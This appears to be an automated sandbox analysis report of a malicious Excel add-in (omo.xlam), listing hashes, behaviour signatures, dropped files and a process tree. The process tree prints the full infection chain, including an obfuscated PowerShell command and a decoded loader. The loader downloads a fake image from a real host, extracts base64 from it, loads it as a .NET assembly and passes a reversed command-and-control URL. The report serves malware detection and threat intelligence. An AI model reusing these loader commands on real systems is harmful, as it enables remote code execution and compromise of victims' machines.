Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    20/09/2023, 17:00

General

  • Target

    omo.xlam

  • Size

    740KB

  • MD5

    ff4afba38fca387b209a6058da8583ec

  • SHA1

    75118d306f18f4574018ad5d24e725ff3bee49b2

  • SHA256

    3cb021f727c306bcc8a733554521981f4bfd5e9b3e39d733d601e7a69291d602

  • SHA512

    818adfd4fc17259de3c4231dca281e0631952eaa0db23be7335f13617bc32d40e6eecd32e14b7e7980495211d51afa52f044746f4e687c47d366eca64e7ff9e5

  • SSDEEP

    12288:5XSSaqxNzx5n7SpfzpUdyD9jLRa94nhI540WkaMzJO7njWCDeGT9zQPTL7B:baQNbSqi96eh0Wkb47jWCSY9zQbnB

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\omo.xlam
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2012
  • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
    "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
    1⤵
    • Blocklisted process makes network request
    • Launches Equation Editor
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ybdtyupl.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgB4░░░G8░░░bQBv░░░C8░░░Mg░░░1░░░C4░░░O░░░░░░0░░░C4░░░M░░░░░░x░░░DE░░░Lg░░░5░░░Dc░░░Lw░░░v░░░Do░░░c░░░B0░░░HQ░░░a░░░░░░n░░░Ck░░░Ow░░░k░░░G0░░░ZQB0░░░Gg░░░bwBk░░░C4░░░SQBu░░░HY░░░bwBr░░░GU░░░K░░░░░░k░░░G4░░░dQBs░░░Gw░░░L░░░░░░g░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░KQ░░░='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.xomo/25.84.011.97//:ptth');$method.Invoke($null, $arguments)"
          4⤵
          • Blocklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3000

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\Cab5B0D.tmp

          Filesize

          61KB

          MD5

          f3441b8572aae8801c04f3060b550443

          SHA1

          4ef0a35436125d6821831ef36c28ffaf196cda15

          SHA256

          6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

          SHA512

          5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

        • C:\Users\Admin\AppData\Local\Temp\Tar5B8D.tmp

          Filesize

          163KB

          MD5

          9441737383d21192400eca82fda910ec

          SHA1

          725e0d606a4fc9ba44aa8ffde65bed15e65367e4

          SHA256

          bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

          SHA512

          7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K0TC8ND67EI6RWA3ICUH.temp

          Filesize

          7KB

          MD5

          53c28d766ebeb45482c2121df24f9068

          SHA1

          947b81ec4643222c5522c014617c6abc47620544

          SHA256

          6a6c10273873127a1dd92484ebe34c413b832010c24c51faf87e5427e22ec1a2

          SHA512

          45ccbdc265ebd8893ac173942ae6b77b327c5b47b3b653b1e26ad3c66a4a4680ad5d2891ee48589be77441eefb935620814e3169c9bc39a94a1d8cbfc87ceefc

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

          Filesize

          7KB

          MD5

          53c28d766ebeb45482c2121df24f9068

          SHA1

          947b81ec4643222c5522c014617c6abc47620544

          SHA256

          6a6c10273873127a1dd92484ebe34c413b832010c24c51faf87e5427e22ec1a2

          SHA512

          45ccbdc265ebd8893ac173942ae6b77b327c5b47b3b653b1e26ad3c66a4a4680ad5d2891ee48589be77441eefb935620814e3169c9bc39a94a1d8cbfc87ceefc

        • C:\Users\Admin\AppData\Roaming\ybdtyupl.vbs

          Filesize

          389KB

          MD5

          51c03a309d16578fe5a97464df18cac9

          SHA1

          80a0a2daf6692dfe9f2026fc3f95c7b9fcfad5cf

          SHA256

          3a1082f5c321715ac497d677b269c4e6509e9cc5eee71a35e95d1634525ac4d7

          SHA512

          41c6d4d490313bfad4624eae455940537c6079ea15e71d66058ce43521fbb9b30076801805180acad9dd298cdde827032181e8d0697ac33339bc3eeb4abc5428

        • C:\Users\Admin\AppData\Roaming\ybdtyupl.vbs

          Filesize

          389KB

          MD5

          51c03a309d16578fe5a97464df18cac9

          SHA1

          80a0a2daf6692dfe9f2026fc3f95c7b9fcfad5cf

          SHA256

          3a1082f5c321715ac497d677b269c4e6509e9cc5eee71a35e95d1634525ac4d7

          SHA512

          41c6d4d490313bfad4624eae455940537c6079ea15e71d66058ce43521fbb9b30076801805180acad9dd298cdde827032181e8d0697ac33339bc3eeb4abc5428

        • memory/2012-108-0x000000007271D000-0x0000000072728000-memory.dmp

          Filesize

          44KB

        • memory/2012-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/2012-110-0x000000007271D000-0x0000000072728000-memory.dmp

          Filesize

          44KB

        • memory/2012-1-0x000000007271D000-0x0000000072728000-memory.dmp

          Filesize

          44KB

        • memory/2012-107-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/2644-14-0x0000000002590000-0x00000000025D0000-memory.dmp

          Filesize

          256KB

        • memory/2644-13-0x0000000002590000-0x00000000025D0000-memory.dmp

          Filesize

          256KB

        • memory/2644-12-0x000000006C4B0000-0x000000006CA5B000-memory.dmp

          Filesize

          5.7MB

        • memory/2644-105-0x000000006C4B0000-0x000000006CA5B000-memory.dmp

          Filesize

          5.7MB

        • memory/2644-11-0x000000006C4B0000-0x000000006CA5B000-memory.dmp

          Filesize

          5.7MB

        • memory/3000-20-0x000000006C4B0000-0x000000006CA5B000-memory.dmp

          Filesize

          5.7MB

        • memory/3000-104-0x000000006C4B0000-0x000000006CA5B000-memory.dmp

          Filesize

          5.7MB

        • memory/3000-22-0x0000000002300000-0x0000000002340000-memory.dmp

          Filesize

          256KB

        • memory/3000-21-0x0000000002300000-0x0000000002340000-memory.dmp

          Filesize

          256KB

        • memory/3000-111-0x0000000002300000-0x0000000002340000-memory.dmp

          Filesize

          256KB